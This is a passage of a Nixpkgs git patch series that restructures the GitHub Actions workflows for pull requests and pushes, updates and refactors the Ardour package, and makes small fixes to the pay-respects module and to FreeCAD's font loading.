                     event: 'pull_request_target',
                     // For PR events, the workflow run is still in progress with this job itself.
                     status: prEventCondition ? 'in_progress' : 'success',
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 2c2401ecdfff..19540306148a 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -1,14 +1,7 @@
 name: Lint
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/lint.yml
-  pull_request_target:
-
-concurrency:
-  group: lint-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
+  workflow_call:
 
 permissions: {}
 
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
new file mode 100644
index 000000000000..924a60d3752d
--- /dev/null
+++ b/.github/workflows/pr.yml
@@ -0,0 +1,47 @@
+name: PR
+
+on:
+  pull_request:
+    paths:
+      - .github/workflows/build.yml
+      - .github/workflows/check.yml
+      - .github/workflows/eval.yml
+      - .github/workflows/lint.yml
+      - .github/workflows/pr.yml
+      - .github/workflows/reviewers.yml # needs eval results from the same event type
+  pull_request_target:
+
+concurrency:
+  group: pr-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+permissions: {}
+
+jobs:
+  check:
+    name: Check
+    uses: ./.github/workflows/check.yml
+    permissions:
+      # cherry-picks
+      pull-requests: write
+
+  lint:
+    name: Lint
+    uses: ./.github/workflows/lint.yml
+
+  eval:
+    name: Eval
+    uses: ./.github/workflows/eval.yml
+    permissions:
+      # compare
+      issues: write
+      pull-requests: write
+      statuses: write
+    secrets:
+      OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
+
+  build:
+    name: Build
+    uses: ./.github/workflows/build.yml
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
new file mode 100644
index 000000000000..a6836b186e06
--- /dev/null
+++ b/.github/workflows/push.yml
@@ -0,0 +1,29 @@
+name: Push
+
+on:
+  pull_request:
+    paths:
+      - .github/workflows/push.yml
+      # eval is tested via pr.yml
+  push:
+    # Keep this synced with ci/request-reviews/dev-branches.txt
+    branches:
+      - master
+      - staging
+      - release-*
+      - staging-*
+      - haskell-updates
+      - python-updates
+
+permissions: {}
+
+jobs:
+  eval:
+    name: Eval
+    uses: ./.github/workflows/eval.yml
+    # Those are not actually used on push, but will throw an error if not set.
+    permissions:
+      # compare
+      issues: write
+      pull-requests: write
+      statuses: write
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 894da05c32e1..b79e3a589250 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -10,6 +10,9 @@ on:
   pull_request_target:
     types: [ready_for_review]
   workflow_call:
+    secrets:
+      OWNER_APP_PRIVATE_KEY:
+        required: true
 
 concurrency:
   group: reviewers-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
@@ -63,7 +66,7 @@ jobs:
             const run_id = (await github.rest.actions.listWorkflowRuns({
               owner: context.repo.owner,
               repo: context.repo.repo,
-              workflow_id: 'eval.yml',
+              workflow_id: 'pr.yml',
               event: context.eventName,
               head_sha: context.payload.pull_request.head.sha
             })).data.workflow_runs[0].id

From 1c1a5f9b8dffd4493adff50eb1f211d31987811d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 8 Jun 2025 13:12:26 +0200
Subject: [PATCH 1204/4511] workflows/eval: move eval-aliases back into eval

We previously moved this out of the main eval workflow to avoid running
it on push and/or undrafting the PR. The latter has been removed in the
meantime and the former can be checked with a simple condition. Thus we
move it back in, to make it part of the 4 main workflows, which will be
required before merge eventually.

(cherry picked from commit 008527d7cd6384b0b0f4bb6f950575685f156c78)
---
 .github/workflows/eval-aliases.yml | 42 ------------------------------
 .github/workflows/eval.yml         | 24 +++++++++++++++++
 2 files changed, 24 insertions(+), 42 deletions(-)
 delete mode 100644 .github/workflows/eval-aliases.yml

diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
deleted file mode 100644
index 599d82a93e51..000000000000
--- a/.github/workflows/eval-aliases.yml
+++ /dev/null
@@ -1,42 +0,0 @@
-name: Eval aliases
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/eval-aliases.yml
-  pull_request_target:
-
-concurrency:
-  group: eval-aliases-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  eval-aliases:
-    name: Eval nixpkgs with aliases enabled
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - name: Install Nix
-        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-        with:
-          extra_nix_config: sandbox = true
-
-      - name: Ensure flake outputs on all systems still evaluate
-        run: nix flake check --all-systems --no-build ./untrusted
-
-      - name: Query nixpkgs with aliases enabled to check for basic syntax errors
-        run: |
-          time nix-env -I ./untrusted -f ./untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 7edac16fe2c3..5649e01df5b5 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -253,3 +253,27 @@ jobs:
     uses: ./.github/workflows/reviewers.yml
     secrets:
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
+
+  misc:
+    if: ${{ github.event_name != 'push' }}
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: .github/actions
+      - name: Check if the PR can be merged and checkout the merge commit
+        uses: ./.github/actions/get-merge-commit
+        with:
+          merged-as-untrusted: true
+
+      - name: Install Nix
+        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Ensure flake outputs on all systems still evaluate
+        run: nix flake check --all-systems --no-build ./untrusted
+
+      - name: Query nixpkgs with aliases enabled to check for basic syntax errors
+        run: |
+          time nix-env -I ./untrusted -f ./untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null

From e87d0742be053e30133929e88e19b5a655d7642f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 30 May 2025 18:29:13 +0200
Subject: [PATCH 1205/4511] workflows/eval: use consistent naming with the
 other 3 PR workflows

The overall idea is to use names short enough to fit into the status
checks list without shortening. This change mostly happened in the
commits before, here we just follow the same pattern for the remaining
workflows.

(cherry picked from commit c08b86e962a69868205a8936c9326634f1c43c05)
---
 .github/workflows/eval.yml      | 10 ++++------
 .github/workflows/labels.yml    |  5 ++---
 .github/workflows/reviewers.yml |  1 -
 3 files changed, 6 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 5649e01df5b5..f7ce71e4dde1 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -14,7 +14,6 @@ defaults:
 
 jobs:
   prepare:
-    name: Prepare
     runs-on: ubuntu-24.04-arm
     outputs:
       mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
@@ -35,14 +34,14 @@ jobs:
         run: |
           echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
 
-  outpaths:
-    name: Outpaths
+  eval:
     runs-on: ubuntu-24.04-arm
     needs: [prepare]
     strategy:
       fail-fast: false
       matrix:
         system: ${{ fromJSON(needs.prepare.outputs.systems) }}
+    name: ${{ matrix.system }}
     steps:
       - name: Enable swap
         run: |
@@ -147,9 +146,8 @@ jobs:
           path: diff/*
 
   compare:
-    name: Comparison
     runs-on: ubuntu-24.04-arm
-    needs: [prepare, outpaths]
+    needs: [prepare, eval]
     if: needs.prepare.outputs.targetSha
     permissions:
       issues: write # needed to create *new* labels
@@ -248,7 +246,7 @@ jobs:
     # No dependency on "compare", so that it can start at the same time.
     # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
     # for the eval workflow considerably faster.
-    needs: [prepare, outpaths]
+    needs: [prepare, eval]
     if: needs.prepare.outputs.targetSha
     uses: ./.github/workflows/reviewers.yml
     secrets:
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 0beb1296f518..2a632be28b57 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -3,7 +3,7 @@
 # access to the GitHub API. This means that it should not evaluate user input in
 # a way that allows code injection.
 
-name: "Label PR"
+name: Labels
 
 on:
   schedule:
@@ -33,8 +33,7 @@ defaults:
     shell: bash
 
 jobs:
-  labels:
-    name: label-pr
+  update:
     runs-on: ubuntu-24.04-arm
     if: github.event_name != 'schedule' || github.repository_owner == 'NixOS'
     steps:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index b79e3a589250..4beb755e2b64 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -26,7 +26,6 @@ defaults:
 
 jobs:
   request:
-    name: Request
     runs-on: ubuntu-24.04-arm
     steps:
       - name: Check out the PR at the base commit

From 66d0a348580a9eab72834b68501f4154558bff9f Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 14 Jun 2025 17:56:57 -0600
Subject: [PATCH 1206/4511] ardour: 8.11 -> 8.12

Diff: https://git.ardour.org/ardour/ardour/compare/8.11...8.12
(cherry picked from commit c44b16d4033450cc1de85e5813c47cac9461a49d)
---
 pkgs/applications/audio/ardour/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix
index 45e8e95d2c0a..1f05addcc6e8 100644
--- a/pkgs/applications/audio/ardour/default.nix
+++ b/pkgs/applications/audio/ardour/default.nix
@@ -64,14 +64,14 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ardour";
-  version = "8.11";
+  version = "8.12";
 
   # We can't use `fetchFromGitea` here, as attempting to fetch release archives from git.ardour.org
   # result in an empty archive. See https://tracker.ardour.org/view.php?id=7328 for more info.
   src = fetchgit {
     url = "git://git.ardour.org/ardour/ardour.git";
     rev = version;
-    hash = "sha256-z+rIWFVua1IG4GZ8kH3quKaBbN+I7Yr62vukJZk6KAg=";
+    hash = "sha256-4IgBQ53cwPA35YwNQyo+qBqsMGv+TLn6w1zaDX97erE=";
   };
 
   bundledContent = fetchzip {

From 598bdc9cba9958aa8c6357cbde287533ba2d4467 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 14 Jun 2025 18:02:40 -0600
Subject: [PATCH 1207/4511] ardour: use finalAttrs pattern

(cherry picked from commit 2b362b37fee7ceab5b73c9652bd4173e3916a290)
---
 pkgs/applications/audio/ardour/default.nix | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix
index 1f05addcc6e8..bc2045605e53 100644
--- a/pkgs/applications/audio/ardour/default.nix
+++ b/pkgs/applications/audio/ardour/default.nix
@@ -62,7 +62,9 @@
   optimize ? true, # disable to print Lua DSP script output to stdout
   videoSupport ? true,
 }:
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: let
+  majorVersion = lib.versions.major finalAttrs.version;
+in {
   pname = "ardour";
   version = "8.12";
 
@@ -70,7 +72,7 @@ stdenv.mkDerivation rec {
   # result in an empty archive. See https://tracker.ardour.org/view.php?id=7328 for more info.
   src = fetchgit {
     url = "git://git.ardour.org/ardour/ardour.git";
-    rev = version;
+    rev = finalAttrs.version;
     hash = "sha256-4IgBQ53cwPA35YwNQyo+qBqsMGv+TLn6w1zaDX97erE=";
   };
 
@@ -90,7 +92,7 @@ stdenv.mkDerivation rec {
   # Ardour's wscript requires git revision and date to be available.
   # Since they are not, let's generate the file manually.
   postPatch = ''
-    printf '#include "libs/ardour/ardour/revision.h"\nnamespace ARDOUR { const char* revision = "${version}"; const char* date = ""; }\n' > libs/ardour/revision.cc
+    printf '#include "libs/ardour/ardour/revision.h"\nnamespace ARDOUR { const char* revision = "${finalAttrs.version}"; const char* date = ""; }\n' > libs/ardour/revision.cc
     sed 's|/usr/include/libintl.h|${glibc.dev}/include/libintl.h|' -i wscript
     patchShebangs ./tools/
     substituteInPlace libs/ardour/video_tools_paths.cc \
@@ -186,20 +188,20 @@ stdenv.mkDerivation rec {
       # wscript does not install these for some reason
       install -vDm 644 "build/gtk2_ardour/ardour.xml" \
         -t "$out/share/mime/packages"
-      install -vDm 644 "build/gtk2_ardour/ardour${lib.versions.major version}.desktop" \
+      install -vDm 644 "build/gtk2_ardour/ardour${majorVersion}.desktop" \
         -t "$out/share/applications"
       for size in 16 22 32 48 256 512; do
         install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
-          "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${lib.versions.major version}.png"
+          "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${majorVersion}.png"
       done
       install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
 
       # install additional bundled beats, chords and progressions
-      cp -rp "${bundledContent}"/* "$out/share/ardour${lib.versions.major version}/media"
+      cp -rp "${finalAttrs.bundledContent}"/* "$out/share/ardour${majorVersion}/media"
     ''
     + lib.optionalString videoSupport ''
       # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
-      wrapProgram "$out/bin/ardour${lib.versions.major version}" \
+      wrapProgram "$out/bin/ardour${majorVersion}" \
         --prefix PATH : "${
           lib.makeBinPath [
             harvid
@@ -230,4 +232,4 @@ stdenv.mkDerivation rec {
       mitchmindtree
     ];
   };
-}
+})

From daede59496a54fffbfc29506b1069fac9e41f1e2 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 14 Jun 2025 18:03:11 -0600
Subject: [PATCH 1208/4511] ardour: add ryand56 as maintainer

(cherry picked from commit 1d36d44d810f1e327ece3c0117de80aac12ebe3d)
---
 pkgs/applications/audio/ardour/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix
index bc2045605e53..fcd55f4d2784 100644
--- a/pkgs/applications/audio/ardour/default.nix
+++ b/pkgs/applications/audio/ardour/default.nix
@@ -230,6 +230,7 @@ in {
     maintainers = with lib.maintainers; [
       magnetophon
       mitchmindtree
+      ryand56
     ];
   };
 })

From 0fb42184eac122a9d8ab3aacf3d083deeae22982 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Mon, 16 Jun 2025 16:46:05 -0600
Subject: [PATCH 1209/4511] ardour: run treefmt

(cherry picked from commit b18313301158474a1d715d1c2a1d3df2e332f39d)
---
 pkgs/applications/audio/ardour/default.nix | 318 +++++++++++----------
 1 file changed, 161 insertions(+), 157 deletions(-)

diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix
index fcd55f4d2784..688e9e92599e 100644
--- a/pkgs/applications/audio/ardour/default.nix
+++ b/pkgs/applications/audio/ardour/default.nix
@@ -62,175 +62,179 @@
   optimize ? true, # disable to print Lua DSP script output to stdout
   videoSupport ? true,
 }:
-stdenv.mkDerivation (finalAttrs: let
-  majorVersion = lib.versions.major finalAttrs.version;
-in {
-  pname = "ardour";
-  version = "8.12";
+stdenv.mkDerivation (
+  finalAttrs:
+  let
+    majorVersion = lib.versions.major finalAttrs.version;
+  in
+  {
+    pname = "ardour";
+    version = "8.12";
 
-  # We can't use `fetchFromGitea` here, as attempting to fetch release archives from git.ardour.org
-  # result in an empty archive. See https://tracker.ardour.org/view.php?id=7328 for more info.
-  src = fetchgit {
-    url = "git://git.ardour.org/ardour/ardour.git";
-    rev = finalAttrs.version;
-    hash = "sha256-4IgBQ53cwPA35YwNQyo+qBqsMGv+TLn6w1zaDX97erE=";
-  };
+    # We can't use `fetchFromGitea` here, as attempting to fetch release archives from git.ardour.org
+    # result in an empty archive. See https://tracker.ardour.org/view.php?id=7328 for more info.
+    src = fetchgit {
+      url = "git://git.ardour.org/ardour/ardour.git";
+      rev = finalAttrs.version;
+      hash = "sha256-4IgBQ53cwPA35YwNQyo+qBqsMGv+TLn6w1zaDX97erE=";
+    };
 
-  bundledContent = fetchzip {
-    url = "https://web.archive.org/web/20221026200824/http://stuff.ardour.org/loops/ArdourBundledMedia.zip";
-    hash = "sha256-IbPQWFeyMuvCoghFl1ZwZNNcSvLNsH84rGArXnw+t7A=";
-    # archive does not contain a single folder at the root
-    stripRoot = false;
-  };
+    bundledContent = fetchzip {
+      url = "https://web.archive.org/web/20221026200824/http://stuff.ardour.org/loops/ArdourBundledMedia.zip";
+      hash = "sha256-IbPQWFeyMuvCoghFl1ZwZNNcSvLNsH84rGArXnw+t7A=";
+      # archive does not contain a single folder at the root
+      stripRoot = false;
+    };
 
-  patches = [
-    # AS=as in the environment causes build failure https://tracker.ardour.org/view.php?id=8096
-    ./as-flags.patch
-    ./default-plugin-search-paths.patch
-  ];
+    patches = [
+      # AS=as in the environment causes build failure https://tracker.ardour.org/view.php?id=8096
+      ./as-flags.patch
+      ./default-plugin-search-paths.patch
+    ];
 
-  # Ardour's wscript requires git revision and date to be available.
-  # Since they are not, let's generate the file manually.
-  postPatch = ''
-    printf '#include "libs/ardour/ardour/revision.h"\nnamespace ARDOUR { const char* revision = "${finalAttrs.version}"; const char* date = ""; }\n' > libs/ardour/revision.cc
-    sed 's|/usr/include/libintl.h|${glibc.dev}/include/libintl.h|' -i wscript
-    patchShebangs ./tools/
-    substituteInPlace libs/ardour/video_tools_paths.cc \
-      --replace-fail 'ffmpeg_exe = X_("");' 'ffmpeg_exe = X_("${ffmpeg}/bin/ffmpeg");' \
-      --replace-fail 'ffprobe_exe = X_("");' 'ffprobe_exe = X_("${ffmpeg}/bin/ffprobe");'
-  '';
+    # Ardour's wscript requires git revision and date to be available.
+    # Since they are not, let's generate the file manually.
+    postPatch = ''
+      printf '#include "libs/ardour/ardour/revision.h"\nnamespace ARDOUR { const char* revision = "${finalAttrs.version}"; const char* date = ""; }\n' > libs/ardour/revision.cc
+      sed 's|/usr/include/libintl.h|${glibc.dev}/include/libintl.h|' -i wscript
+      patchShebangs ./tools/
+      substituteInPlace libs/ardour/video_tools_paths.cc \
+        --replace-fail 'ffmpeg_exe = X_("");' 'ffmpeg_exe = X_("${ffmpeg}/bin/ffmpeg");' \
+        --replace-fail 'ffprobe_exe = X_("");' 'ffprobe_exe = X_("${ffmpeg}/bin/ffprobe");'
+    '';
 
-  nativeBuildInputs = [
-    doxygen
-    graphviz # for dot
-    itstool
-    makeWrapper
-    perl
-    pkg-config
-    python3
-    wafHook
-  ];
-
-  buildInputs =
-    [
-      alsa-lib
-      aubio
-      boost
-      cairomm
-      cppunit
-      curl
-      dbus
-      ffmpeg
-      fftw
-      fftwSinglePrec
-      flac
-      fluidsynth
-      glibmm
-      gtkmm2
-      hidapi
+    nativeBuildInputs = [
+      doxygen
+      graphviz # for dot
       itstool
-      kissfft
-      libarchive
-      libjack2
-      liblo
-      libltc
-      libogg
-      libpulseaudio
-      librdf_rasqal
-      libsamplerate
-      libsigcxx
-      libsndfile
-      libusb1
-      libuv
-      libwebsockets
-      libxml2
-      libxslt
-      lilv
-      lrdf
-      lv2
-      pango
+      makeWrapper
       perl
+      pkg-config
       python3
-      qm-dsp
-      readline
-      rubberband
-      serd
-      sord
-      soundtouch
-      sratom
-      suil
-      taglib
-      vamp-plugin-sdk
-    ]
-    ++ lib.optionals videoSupport [
-      harvid
-      xjadeo
+      wafHook
     ];
 
-  wafConfigureFlags = [
-    "--cxx17"
-    "--docs"
-    "--freedesktop"
-    "--no-phone-home"
-    "--ptformat"
-    "--run-tests"
-    "--test"
-    # since we don't have https://github.com/agfline/LibAAF yet,
-    # we need to use some of ardours internal libs, see:
-    # https://discourse.ardour.org/t/ardour-8-2-released/109615/6
-    # and
-    # https://discourse.ardour.org/t/ardour-8-2-released/109615/8
-    # "--use-external-libs"
-  ] ++ lib.optional optimize "--optimize";
+    buildInputs =
+      [
+        alsa-lib
+        aubio
+        boost
+        cairomm
+        cppunit
+        curl
+        dbus
+        ffmpeg
+        fftw
+        fftwSinglePrec
+        flac
+        fluidsynth
+        glibmm
+        gtkmm2
+        hidapi
+        itstool
+        kissfft
+        libarchive
+        libjack2
+        liblo
+        libltc
+        libogg
+        libpulseaudio
+        librdf_rasqal
+        libsamplerate
+        libsigcxx
+        libsndfile
+        libusb1
+        libuv
+        libwebsockets
+        libxml2
+        libxslt
+        lilv
+        lrdf
+        lv2
+        pango
+        perl
+        python3
+        qm-dsp
+        readline
+        rubberband
+        serd
+        sord
+        soundtouch
+        sratom
+        suil
+        taglib
+        vamp-plugin-sdk
+      ]
+      ++ lib.optionals videoSupport [
+        harvid
+        xjadeo
+      ];
 
-  postInstall =
-    ''
-      # wscript does not install these for some reason
-      install -vDm 644 "build/gtk2_ardour/ardour.xml" \
-        -t "$out/share/mime/packages"
-      install -vDm 644 "build/gtk2_ardour/ardour${majorVersion}.desktop" \
-        -t "$out/share/applications"
-      for size in 16 22 32 48 256 512; do
-        install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
-          "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${majorVersion}.png"
-      done
-      install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
+    wafConfigureFlags = [
+      "--cxx17"
+      "--docs"
+      "--freedesktop"
+      "--no-phone-home"
+      "--ptformat"
+      "--run-tests"
+      "--test"
+      # since we don't have https://github.com/agfline/LibAAF yet,
+      # we need to use some of ardours internal libs, see:
+      # https://discourse.ardour.org/t/ardour-8-2-released/109615/6
+      # and
+      # https://discourse.ardour.org/t/ardour-8-2-released/109615/8
+      # "--use-external-libs"
+    ] ++ lib.optional optimize "--optimize";
 
-      # install additional bundled beats, chords and progressions
-      cp -rp "${finalAttrs.bundledContent}"/* "$out/share/ardour${majorVersion}/media"
-    ''
-    + lib.optionalString videoSupport ''
-      # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
-      wrapProgram "$out/bin/ardour${majorVersion}" \
-        --prefix PATH : "${
-          lib.makeBinPath [
-            harvid
-            xjadeo
-          ]
-        }"
-    '';
+    postInstall =
+      ''
+        # wscript does not install these for some reason
+        install -vDm 644 "build/gtk2_ardour/ardour.xml" \
+          -t "$out/share/mime/packages"
+        install -vDm 644 "build/gtk2_ardour/ardour${majorVersion}.desktop" \
+          -t "$out/share/applications"
+        for size in 16 22 32 48 256 512; do
+          install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
+            "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${majorVersion}.png"
+        done
+        install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
 
-  LINKFLAGS = "-lpthread";
+        # install additional bundled beats, chords and progressions
+        cp -rp "${finalAttrs.bundledContent}"/* "$out/share/ardour${majorVersion}/media"
+      ''
+      + lib.optionalString videoSupport ''
+        # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
+        wrapProgram "$out/bin/ardour${majorVersion}" \
+          --prefix PATH : "${
+            lib.makeBinPath [
+              harvid
+              xjadeo
+            ]
+          }"
+      '';
 
-  meta = {
-    description = "Multi-track hard disk recording software";
-    longDescription = ''
-      Ardour is a digital audio workstation (DAW), You can use it to
-      record, edit and mix multi-track audio and midi. Produce your
-      own CDs. Mix video soundtracks. Experiment with new ideas about
-      music and sound.
+    LINKFLAGS = "-lpthread";
 
-      Please consider supporting the ardour project financially:
-      https://community.ardour.org/donate
-    '';
-    homepage = "https://ardour.org/";
-    license = lib.licenses.gpl2Plus;
-    mainProgram = "ardour8";
-    platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [
-      magnetophon
-      mitchmindtree
-      ryand56
-    ];
-  };
-})
+    meta = {
+      description = "Multi-track hard disk recording software";
+      longDescription = ''
+        Ardour is a digital audio workstation (DAW), You can use it to
+        record, edit and mix multi-track audio and midi. Produce your
+        own CDs. Mix video soundtracks. Experiment with new ideas about
+        music and sound.
+
+        Please consider supporting the ardour project financially:
+        https://community.ardour.org/donate
+      '';
+      homepage = "https://ardour.org/";
+      license = lib.licenses.gpl2Plus;
+      mainProgram = "ardour8";
+      platforms = lib.platforms.linux;
+      maintainers = with lib.maintainers; [
+        magnetophon
+        mitchmindtree
+        ryand56
+      ];
+    };
+  }
+)

From 81e640171d0f51bfd542788e6b1f282d55212a3d Mon Sep 17 00:00:00 2001
From: cinereal <cinereal@riseup.net>
Date: Sat, 7 Jun 2025 11:19:18 +0200
Subject: [PATCH 1210/4511] pay-respects: properly end line, fixing error
 `--set: command not found` on AI integration

(cherry picked from commit cc345fe2f25b6617bcdaf41f00499928e0360b0e)
---
 nixos/modules/programs/pay-respects.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/programs/pay-respects.nix b/nixos/modules/programs/pay-respects.nix
index 5bd90b71f1b2..71d5c8f0e51d 100644
--- a/nixos/modules/programs/pay-respects.nix
+++ b/nixos/modules/programs/pay-respects.nix
@@ -44,7 +44,7 @@ let
         ''
           mkdir -p $out/bin
           makeWrapper ${getExe cfg.package} $out/bin/${cfg.package.meta.mainProgram} \
-            ${optionalString (cfg.aiIntegration == false) "--set _PR_AI_DISABLE true"}
+            ${optionalString (cfg.aiIntegration == false) "--set _PR_AI_DISABLE true"} \
             ${optionalString (cfg.aiIntegration != false) ''
               --set _PR_AI_URL ${cfg.aiIntegration.url} \
               --set _PR_AI_MODEL ${cfg.aiIntegration.model} \

From af8b87d6760801546744289ffaaa9e182960ae48 Mon Sep 17 00:00:00 2001
From: julian1 <git@julian1.io>
Date: Sun, 1 Jun 2025 19:25:53 +1000
Subject: [PATCH 1211/4511] Freecad: fix cursor.pcf font load crash

update

update

update

(cherry picked from commit f1c4f54fb0b744bb53d2136c24b366aad8f5ee94)
---
 .../0003-FreeCad-fix-font-load-crash.patch    | 26 +++++++++++++++++++
 pkgs/by-name/fr/freecad/package.nix           |  3 +++
 2 files changed, 29 insertions(+)
 create mode 100644 pkgs/by-name/fr/freecad/0003-FreeCad-fix-font-load-crash.patch

diff --git a/pkgs/by-name/fr/freecad/0003-FreeCad-fix-font-load-crash.patch b/pkgs/by-name/fr/freecad/0003-FreeCad-fix-font-load-crash.patch
new file mode 100644
index 000000000000..aedb74361fd4
--- /dev/null
+++ b/pkgs/by-name/fr/freecad/0003-FreeCad-fix-font-load-crash.patch
@@ -0,0 +1,26 @@
+diff --git a/src/Gui/PreferencePages/DlgSettingsEditor.cpp b/src/Gui/PreferencePages/DlgSettingsEditor.cpp
+index 0dda987..01568f1 100755
+--- a/src/Gui/PreferencePages/DlgSettingsEditor.cpp
++++ b/src/Gui/PreferencePages/DlgSettingsEditor.cpp
+@@ -288,7 +288,9 @@ void DlgSettingsEditor::loadSettings()
+     QStringList fixedFamilyNames;
+     for (const auto& name : familyNames) {
+         if (QFontDatabase().isFixedPitch(name)) {
+-            if (name.compare(QLatin1String("8514oem"), Qt::CaseInsensitive) != 0) {
++            if (name.compare(QLatin1String("8514oem"), Qt::CaseInsensitive) != 0
++                && name.compare(QLatin1String("cursor.pcf"), Qt::CaseInsensitive) != 0)
++              {
+                 fixedFamilyNames.append(name);
+             }
+         }
+@@ -298,7 +300,9 @@ void DlgSettingsEditor::loadSettings()
+     QStringList fixedFamilyNames;
+     for (const auto& name : familyNames) {
+         if (QFontDatabase::isFixedPitch(name)) {
+-            if (name.compare(QLatin1String("8514oem"), Qt::CaseInsensitive) != 0) {
++            if (name.compare(QLatin1String("8514oem"), Qt::CaseInsensitive) != 0
++                && name.compare(QLatin1String("cursor.pcf"), Qt::CaseInsensitive) != 0)
++              {
+                 fixedFamilyNames.append(name);
+             }
+         }
diff --git a/pkgs/by-name/fr/freecad/package.nix b/pkgs/by-name/fr/freecad/package.nix
index 844285ba5bbc..8320ef1bb8f8 100644
--- a/pkgs/by-name/fr/freecad/package.nix
+++ b/pkgs/by-name/fr/freecad/package.nix
@@ -152,6 +152,9 @@ freecad-utils.makeCustomizable (
     patches = [
       ./0001-NIXOS-don-t-ignore-PYTHONPATH.patch
       ./0002-FreeCad-OndselSolver-pkgconfig.patch
+
+      # https://github.com/FreeCAD/FreeCAD/pull/21710
+      ./0003-FreeCad-fix-font-load-crash.patch
       (fetchpatch {
         url = "https://github.com/FreeCAD/FreeCAD/commit/8e04c0a3dd9435df0c2dec813b17d02f7b723b19.patch?full_index=1";
         hash = "sha256-H6WbJFTY5/IqEdoi5N+7D4A6pVAmZR4D+SqDglwS18c=";

From 27ab1b6056e5300d5b00946191234ab20546f2cd Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 17 Jun 2025 18:37:00 +0200
Subject: [PATCH 1212/4511] pyp: cleanup

(cherry picked from commit 3529e5eed27e75d776d0a83f2415a486a1fc3b9c)
---
 pkgs/by-name/py/pyp/package.nix | 30 ++++++++++++------------------
